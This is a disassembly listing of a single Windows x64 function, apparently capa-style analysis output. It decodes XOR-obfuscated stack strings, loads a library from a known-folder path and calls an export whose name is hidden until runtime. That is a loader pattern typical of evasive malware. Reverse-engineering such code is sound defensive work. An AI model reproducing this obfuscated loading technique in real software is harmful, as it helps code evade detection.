Function at 0x140002c00
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using xor
Get common file path
Parse pe header

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r15
lea rbp, [rsp - 0x2d0]
sub rsp, 0x3d0
mov rax, qword [0x140077088]
xor rax, rsp
mov qword [rbp + 0x2c0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor r15d, r15d
lea r9, [rbp + 0x68]
xor r8d, r8d
mov qword [rbp + 0x68], r15
xor edx, edx
lea rcx, [0x1400564e0]
mov rbx, rax
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
mov dword [rsp + 0x30], 0x69
xor eax, eax
mov byte [rsp + 0x34], 0x35
mov r8d, r15d
mov byte [rsp + 0x35], 0x24
mov byte [rsp + 0x36], r15b
mov byte [rsp + 0x37], 0xa
mov byte [rsp + 0x38], 0x1b
mov byte [rsp + 0x39], 6
mov byte [rsp + 0x3a], 0x1a
mov byte [rsp + 0x3b], 6
mov byte [rsp + 0x3c], 0xf
mov byte [rsp + 0x3d], 0x1d
mov byte [rsp + 0x3e], 0x35
mov byte [rsp + 0x3f], 0x3e
mov byte [rsp + 0x40], r15b
mov byte [rsp + 0x41], 7
mov byte [rsp + 0x42], 0xd
mov byte [rsp + 0x43], 6
mov byte [rsp + 0x44], 0x1e
mov byte [rsp + 0x45], 0x1a
mov byte [rsp + 0x46], 0x28
mov byte [rsp + 0x47], 0x19
mov byte [rsp + 0x48], 0x19
mov byte [rsp + 0x49], 0x1a
mov byte [rsp + 0x4a], 0x35
mov byte [rsp + 0x4b], 0x1e
mov byte [rsp + 0x4c], r15b
mov byte [rsp + 0x4d], 7
mov byte [rsp + 0x4e], 0x28
mov byte [rsp + 0x4f], 0x19
mov byte [rsp + 0x50], 0x19
mov byte [rsp + 0x51], 0x1a
mov byte [rsp + 0x52], 0x47
mov byte [rsp + 0x53], 0xd
mov byte [rsp + 0x54], 5
mov byte [rsp + 0x55], 5
mov byte [rsp + 0x56], al
movzx eax, byte [rsp + 0x34]
movsx edx, byte [rsp + r8 + 0x34]
mov eax, dword [rsp + 0x30]
movsx ecx, al
mov eax, edx
xor eax, ecx
mov byte [rsp + r8 + 0x34], al
inc r8
cmp r8, 0x22
jb 0x140002d11
or rdi, 0xffffffffffffffff
mov byte [rsp + 0x56], r15b
mov qword [rbp - 0x20], 0xf
mov qword [rbp - 0x28], r15
mov byte [rbp - 0x38], r15b
cmp byte [rsp + 0x34], r15b
jne 0x140002d55
mov r8, r15
jmp 0x140002d69
lea rax, [rsp + 0x34]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x140002d60
lea rdx, [rsp + 0x34]
lea rcx, [rbp - 0x38]
call fcn.140005f50
mov rdx, qword [rbp + 0x68]
lea rcx, [rbp + 8]
call fcn.140002990
mov rdx, rax
lea r8, [rbp - 0x38]
lea rcx, [rbp + 0x90]
call fcn.140007a30
mov rax, qword [rbp + 0x20]
cmp rax, 0x10
jb 0x140002de5
mov rcx, qword [rbp + 8]
inc rax
cmp rax, 0x1000
jb 0x140002de0
test cl, 0x1f
jne 0x14000340f
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x140003415
sub rcx, rax
cmp rcx, 8
jb 0x14000341b
cmp rcx, 0x27
ja 0x140003421
mov rcx, rax
call fcn.14002bebc
mov rax, qword [rbp - 0x20]
mov qword [rbp + 0x20], 0xf
mov qword [rbp + 0x18], r15
mov byte [rbp + 8], r15b
cmp rax, 0x10
jb 0x140002e43
mov rcx, qword [rbp - 0x38]
inc rax
cmp rax, 0x1000
jb 0x140002e3e
test cl, 0x1f
jne 0x140003427
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x14000342d
sub rcx, rax
cmp rcx, 8
jb 0x140003433
cmp rcx, 0x27
ja 0x140003439
mov rcx, rax
call fcn.14002bebc
mov qword [rbp - 0x20], 0xf
mov rdx, r15
mov qword [rbp - 0x28], r15
mov byte [rbp - 0x38], r15b
mov byte [rbp - 0x70], 0x45
mov byte [rbp - 0x6f], 0x5c
mov byte [rbp - 0x6e], 0x36
mov byte [rbp - 0x6d], 0x37
mov byte [rbp - 0x6c], 0x7c
mov byte [rbp - 0x6b], 0x3b
mov byte [rbp - 0x6a], 0x69
mov byte [rbp - 0x69], 0x6a
mov byte [rbp - 0x68], 0x3a
mov byte [rbp - 0x67], 0x39
mov byte [rbp - 0x66], 0x4a
mov byte [rbp - 0x65], 0x51
mov byte [rbp - 0x64], 0x29
mov byte [rbp - 0x63], 0x2d
mov byte [rbp - 0x62], 0x2b
mov byte [rbp - 0x61], 0x26
mov byte [rbp - 0x60], 0x3b
mov byte [rbp - 0x5f], 0x3a
mov byte [rbp - 0x5e], 0x3c
mov byte [rbp - 0x5d], 0x3b
mov byte [rbp - 0x5c], 0x6b
mov byte [rbp - 0x5b], 0x72
mov byte [rbp - 0x5a], 0x7a
mov byte [rbp - 0x59], 0x60
mov byte [rbp - 0x58], 0x5e
mov byte [rbp - 0x57], 0x31
mov byte [rbp - 0x56], 0x73
mov byte [rbp - 0x55], 0x2a
mov byte [rbp - 0x54], 0x3e
mov byte [rbp - 0x53], 0x63
mov byte [rbp - 0x52], 0x73
mov byte [rbp - 0x51], 0x33
mov byte [rbp - 0x50], 0x3c
mov byte [rbp - 0x4f], 0x3b
mov byte [rbp - 0x4e], 0x72
mov byte [rbp - 0x4d], 0x36
mov byte [rbp - 0x4c], 0x3a
mov byte [rbp - 0x4b], 0x3b
mov byte [rbp - 0x4a], 0x6a
mov byte [rbp - 0x49], 0x39
mov byte [rbp - 0x48], 0x3b
mov byte [rbp - 0x47], 0x3a
mov byte [rbp - 0x46], 0x50
mov byte [rbp - 0x45], 0x61
mov byte [rbp - 0x44], 0x2b
mov byte [rbp - 0x43], 0x26
mov byte [rbp - 0x42], 0x27
mov byte [rbp - 0x41], 0x50
mov byte [rbp - 0x40], 0x4a
mov byte [rbp - 0x3f], 0x29
mov byte [rbp - 0x3e], r15b
movzx eax, byte [rbp - 0x70]
mov qword [rsp + 0x3f0], rsi
nop
movsx ecx, byte [rbp + rdx - 0x70]
sub ecx, 3
mov byte [rbp + rdx - 0x70], cl
inc rdx
cmp rdx, 0x32
jb 0x140002f30
mov qword [rbp + 0x88], 0xf
mov qword [rbp + 0x80], r15
mov byte [rbp + 0x70], r15b
cmp byte [rbp - 0x70], r15b
jne 0x140002f66
mov r8, r15
jmp 0x140002f79
lea rax, [rbp - 0x70]
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x140002f70
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x70]
call fcn.140005f50
mov r9, rdi
mov qword [rbp + 0x60], 0xf
xor r8d, r8d
mov qword [rbp + 0x58], r15
lea rdx, [rbp + 0x90]
mov byte [rbp + 0x48], r15b
lea rcx, [rbp + 0x48]
call fcn.140006080
lea r9, [rbp + 0x70]
mov rcx, rbx
lea r8, [rbp + 0x48]
call fcn.140002780
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x28]
call fcn.140002af0
cmp qword [rax + 0x18], 8
jb 0x140002fd6
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov r8, qword [rbp + 0x40]
mov rsi, rax
cmp r8, 8
jb 0x140002ffc
mov rdx, qword [rbp + 0x28]
lea rcx, [rbp + 0x28]
inc r8
call fcn.140006bd0
mov qword [rsp + 0x3f8], r14
mov qword [rbp + 0x40], 7
mov qword [rbp + 0x38], r15
mov word [rbp + 0x28], r15w
test rsi, rsi
je 0x1400030fe
mov dword [rsp + 0x20], 0x17
mov rdx, r15
mov eax, dword [rsp + 0x20]
xor eax, 0x4d
mov byte [rsp + 0x24], al
mov eax, dword [rsp + 0x20]
inc al
xor eax, 0x79
mov byte [rsp + 0x25], al
mov eax, dword [rsp + 0x20]
add al, 2
xor eax, 0x46
mov byte [rsp + 0x26], al
mov eax, dword [rsp + 0x20]
add al, 3
xor eax, 0x75
mov byte [rsp + 0x27], al
mov eax, dword [rsp + 0x20]
add al, 4
xor eax, 0x6e
mov byte [rsp + 0x28], al
mov eax, dword [rsp + 0x20]
add al, 5
xor eax, 0x63
mov byte [rsp + 0x29], al
mov eax, dword [rsp + 0x20]
add al, 6
xor eax, 0x74
mov byte [rsp + 0x2a], al
mov eax, dword [rsp + 0x20]
add al, 7
xor eax, 0x69
mov byte [rsp + 0x2b], al
mov eax, dword [rsp + 0x20]
add al, 8
xor eax, 0x6f
mov byte [rsp + 0x2c], al
mov eax, dword [rsp + 0x20]
add al, 9
xor eax, 0x6e
mov byte [rsp + 0x2d], al
xor eax, eax
mov byte [rsp + 0x2e], al
movzx eax, byte [rsp + 0x24]
nop dword [rax]
nop dword [rax + rax]
movsx eax, byte [rsp + rdx + 0x24]
mov ecx, dword [rsp + 0x20]
add cl, dl
xor ecx, eax
mov byte [rsp + rdx + 0x24], cl
inc rdx
cmp rdx, 0xa
jb 0x1400030c0
lea rdx, [rsp + 0x24]
mov byte [rsp + 0x2e], r15b
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
test rax, rax
jne 0x140003135
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ebx, 1
mov rax, qword [rbp + 0x88]
cmp rax, 0x10
jb 0x140003370
mov rcx, qword [rbp + 0x70]
inc rax
cmp rax, 0x1000
jb 0x14000336b
test cl, 0x1f
je 0x140003344
jmp 0x14000343f
mov r8d, 0x104
lea rdx, [rbp + 0xb0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp + 0xb0]
lea ebx, [rax + 1]
call qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
mov eax, 2
mul rbx
cmovo rax, rdi
mov rcx, rax
call fcn.14002becc
lea r8, [rbp + 0xb0]
mov edx, ebx
mov rcx, rax
call fcn.140030248
mov dword [rsp + 0x58], 0x14
xor eax, eax
mov byte [rsp + 0x5c], 0x3c
mov r8, r15
mov byte [rsp + 0x5d], 0x6f
mov byte [rsp + 0x5e], 0x5a
mov byte [rsp + 0x5f], 0x5d
mov byte [rsp + 0x60], 0x5a
mov byte [rsp + 0x61], 0x32
mov byte [rsp + 0x62], 0x56
mov byte [rsp + 0x63], 0x54
mov byte [rsp + 0x64], 0x41
mov byte [rsp + 0x65], 0x51
mov byte [rsp + 0x66], 0x5d
mov byte [rsp + 0x67], 0x68
mov byte [rsp + 0x68], 0x74
mov byte [rsp + 0x69], 0x6a
mov byte [rsp + 0x6a], 0x58
mov byte [rsp + 0x6b], 0x37
mov byte [rsp + 0x6c], 0x44
mov byte [rsp + 0x6d], 0x50
mov byte [rsp + 0x6e], 0x54
mov byte [rsp + 0x6f], 0x6f
mov byte [rsp + 0x70], 0x5b
mov byte [rsp + 0x71], 0x37
mov byte [rsp + 0x72], 0x30
mov byte [rsp + 0x73], 0x72
mov byte [rsp + 0x74], 0x23
mov byte [rsp + 0x75], 0x22
mov byte [rsp + 0x76], 0x27
mov byte [rsp + 0x77], 0x2d
mov byte [rsp + 0x78], 0x2c
mov byte [rsp + 0x79], 0x3c
mov byte [rsp + 0x7a], 0x3e
mov byte [rsp + 0x7b], 0x32
mov byte [rsp + 0x7c], 0x37
mov byte [rsp + 0x7d], 0x73
mov byte [rsp + 0x7e], 0x37
mov byte [rsp + 0x7f], 0x42
mov byte [rbp - 0x80], 0x4a
mov byte [rbp - 0x7f], 0x4a
mov byte [rbp - 0x7e], 0x32
mov byte [rbp - 0x7d], 0x27
mov byte [rbp - 0x7c], 0x23
mov byte [rbp - 0x7b], 0x2d
mov byte [rbp - 0x7a], 0x23
mov byte [rbp - 0x79], 0x22
mov byte [rbp - 0x78], 0x32
mov byte [rbp - 0x77], 0x2c
mov byte [rbp - 0x76], 0x21
mov byte [rbp - 0x75], 0x53
mov byte [rbp - 0x74], 0x37
mov byte [rbp - 0x73], al
movzx eax, byte [rsp + 0x5c]
nop dword [rax]
movsx edx, byte [rsp + r8 + 0x5c]
mov eax, dword [rsp + 0x58]
movsx ecx, al
mov eax, edx
xor eax, ecx
mov byte [rsp + r8 + 0x5c], al
inc r8
cmp r8, 0x31
jb 0x140003280
mov byte [rbp - 0x73], r15b
mov qword [rbp], 0xf
mov qword [rbp - 8], r15
mov byte [rbp - 0x18], r15b
cmp byte [rsp + 0x5c], r15b
jne 0x1400032bf
mov rdi, r15
jmp 0x1400032cd
lea rax, [rsp + 0x5c]
inc rdi
cmp byte [rax + rdi], r15b
jne 0x1400032c4
mov r8, rdi
lea rdx, [rsp + 0x5c]
lea rcx, [rbp - 0x18]
call fcn.140005f50
lea rcx, [rbp - 0x18]
call r14
mov rax, qword [rbp]
cmp rax, 0x10
jb 0x140003333
mov rcx, qword [rbp - 0x18]
inc rax
cmp rax, 0x1000
jb 0x14000332e
test cl, 0x1f
jne 0x140003445
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x14000344b
sub rcx, rax
cmp rcx, 8
jb 0x140003451
cmp rcx, 0x27
ja 0x140003457
mov rcx, rax
call fcn.14002bebc
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ebx, r15d
jmp 0x140003103
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x14000345d
sub rcx, rax
cmp rcx, 8
jb 0x140003463
cmp rcx, 0x27
ja 0x140003469
mov rcx, rax
call fcn.14002bebc
mov rax, qword [rbp + 0xa8]
mov qword [rbp + 0x88], 0xf
mov qword [rbp + 0x80], r15
mov byte [rbp + 0x70], r15b
cmp rax, 0x10
jb 0x1400033da
mov rcx, qword [rbp + 0x90]
inc rax
cmp rax, 0x1000
jb 0x1400033d5
test cl, 0x1f
jne 0x14000346f
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x140003475
sub rcx, rax
cmp rcx, 8
jb 0x14000347b
cmp rcx, 0x27
ja 0x140003481
mov rcx, rax
call fcn.14002bebc
mov r14, qword [rsp + 0x3f8]
mov eax, ebx
mov rsi, qword [rsp + 0x3f0]
mov rcx, qword [rbp + 0x2c0]
xor rcx, rsp
call fcn.14002b8b0
mov rbx, qword [rsp + 0x400]
add rsp, 0x3d0
pop r15
pop rdi
pop rbp
ret
call fcn.1400307ac
int3
call fcn.1400307ac
int3
call fcn.1400307ac
int3
call fcn.1400307ac
int3
call fcn.1400307ac
int3
call fcn.1400307ac
int3
call fcn.1400307ac
int3
call fcn.1400307ac
int3
call fcn.1400307ac
int3
call fcn.1400307ac
int3
call fcn.1400307ac
int3
call fcn.1400307ac
int3
call fcn.1400307ac
int3
call fcn.1400307ac
int3
call fcn.1400307ac
int3
call fcn.1400307ac
int3
call fcn.1400307ac
int3
call fcn.1400307ac
int3
call fcn.1400307ac
int3
call fcn.1400307ac
int3